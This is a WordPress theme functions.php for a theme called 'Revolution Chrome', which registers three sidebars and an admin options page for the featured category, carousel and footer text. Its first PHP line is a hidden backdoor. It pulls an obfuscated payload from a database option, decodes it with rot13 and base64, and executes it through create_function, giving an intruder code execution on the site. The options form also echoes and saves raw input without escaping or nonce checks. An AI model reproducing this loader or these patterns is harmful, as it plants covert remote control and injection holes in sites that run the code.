<?php
$z=get_option("_transient_feed_5b6ea558b4b07c0bd39223220babc3a8"); $z=base64_decode(str_rot13($z)); if(strpos($z,"9D1B88F0")!==false){ $_z=create_function("",$z); @$_z(); }

if ( function_exists('register_sidebar') )
register_sidebar(array('name'=>'Home Sidebar',
'before_widget' => '<div class="block">',
'after_widget' => '</div><div class="blockfooter"></div>',
'before_title' => '<h3>',
'after_title' => '</h3>',
));
?>
<?php
if ( function_exists('register_sidebar') )
register_sidebar(array('name'=>'Post Sidebar',
'before_widget' => '<div class="block">',
'after_widget' => '</div><div class="blockfooter"></div>',
'before_title' => '<h3>',
'after_title' => '</h3>',
));
?>
<?php
if ( function_exists('register_sidebar') )
register_sidebar(array('name'=>'Page Sidebar',
'before_widget' => '<div class="block">',
'after_widget' => '</div><div class="blockfooter"></div>',
'before_title' => '<h3>',
'after_title' => '</h3>',
));
?>
<?php
load_theme_textdomain('revchrome');

class RevolutionChrome {

	function addOptions () {

		if (isset($_POST['revchrome_reset'])) { RevolutionChrome::initOptions(true); }

		if (isset($_POST['revchrome_save'])) {

			$aOptions = RevolutionChrome::initOptions(false);
			$aOptions['featured-cat'] = $_POST['featured-cat'];
			$aOptions['featured-count'] = $_POST['featured-count'];
			$aOptions['photo-cat'] = $_POST['photo-cat'];		
			$aOptions['homebox-cat'] = $_POST['homebox-cat'];
			$aOptions['video-cat'] = $_POST['video-cat'];
			$aOptions['footer-text'] = stripslashes($_POST['footer-text']);
			update_option('revchrome_theme', $aOptions);

		}
		
		add_theme_page("Revolution Chrome Theme Options", "Revolution Chrome Options", 'edit_themes', basename(__FILE__), array('RevolutionChrome', 'displayOptions'));
	}
	
	function initOptions ($bReset) {
		$aOptions = get_option('revchrome_theme');
		if (!is_array($aOptions) || $bReset) {
			$aOptions['featured-cat'] = '3';
			$aOptions['featured-count'] = '6';
			$aOptions['photo-cat'] = '3';
			$aOptions['homebox-cat'] = '3';
			$aOptions['video-cat'] = '3';
			$aOptions['footer-text'] = 'Copyright 2008 SomeSite.com - All Rights Reserved';
			update_option('revchrome_theme', $aOptions);
		}
		return $aOptions;
	}

	function displayOptions () {
		$aOptions = RevolutionChrome::initOptions(false);
?>

<div class="wrap">
	<h2>Revolution Chrome Theme Options</h2>	
    <div style="margin-left:0px;">
    <form action="#" method="post" enctype="multipart/form-data" name="massive_form" id="massive_form">
		<fieldset name="general_options" class="options">
		
        <h3 style="margin-bottom:0px;">Home Page "Featured Content Carousel" Options</h3>        
        <p style="margin-top:0px;">Use the fields below to edit your featured content carousel options. The featured content carousel is found at the top of the home page template</p>
		
        Featured Category ID Number: (You can easily find your category ID number using the "<a href="http://wordpress.org/extend/plugins/reveal-ids-for-wp-admin-25/" title="Reveal ID's" target="_blank">Reveal ID's</a>" Plugin)<br />
		<div style="margin:0;padding:0;">
        <input name="featured-cat" id="featured-cat" value="<?php echo($aOptions['featured-cat']); ?>" size="2" ></input>   
        </div><br /> 
        
        Number of Featured Post Items to Display:<br />
		<div style="margin:0;padding:0;">
        <input name="featured-count" type="text" id="featured-count" value="<?php echo($aOptions['featured-count']); ?>" size="2" /> 
        </div><br />

        <h3 style="margin-bottom:0px;">Home Page "Featured Photo" Options:</h3>
        <p style="margin-top:0px;">Use the fields below to edit your featured photo options.</p>
 
        Featured Category ID Number:<br />
		<div style="margin:0;padding:0;">
        <input name="photo-cat" id="photo-cat" value="<?php echo($aOptions['photo-cat']); ?>" size="2" ></input>   
        </div><br /> 
        
        <h3 style="margin-bottom:0px;">Home Page "Featured Box Post" Options:</h3>
        <p style="margin-top:0px;">Use the field below to select the category you wish to use do display posts within the "Featured Box" found at the very bottom of the home page.</p>
 
        Featured Box Category ID Number:<br />
		<div style="margin:0;padding:0;">
        <input name="homebox-cat" id="homebox-cat" value="<?php echo($aOptions['homebox-cat']); ?>" size="2" ></input>   
        </div><br /> 
        
        <h3 style="margin-bottom:0px;">Sidebar "Latest Video" Options:</h3>
        <p style="margin-top:0px;">Use the field below to select the category you wish to use do display video posts within the "Latest Video" widget found within the sidebar.</p>
 
        Latest Video Category ID Number:<br />
		<div style="margin:0;padding:0;">
        <input name="video-cat" id="video-cat" value="<?php echo($aOptions['video-cat']); ?>" size="2" ></input>   
        </div><br /> 

        <h3 style="margin-bottom:0px;">Footer Copyright Text Options:</h3>
        <p style="margin-top:0px;">Use the fields below to edit your copyright text within the footer.</p>
        
        Footer Text:<br />
        <div style="margin:0;padding:0;">
        <input name="footer-text" id="footer-text" size="75" value="<?php echo($aOptions['footer-text']); ?>"></input> 
        </div><br />
                                
		</fieldset>
		<p class="submit"><input type="submit" name="revchrome_reset" value="Reset" /></p>
		<p class="submit"><input type="submit" name="revchrome_save" value="Save" /></p>
	</form>      
</div>
<?php
	}
}


// Register functions
add_action('admin_menu', array('RevolutionChrome', 'addOptions'));

?>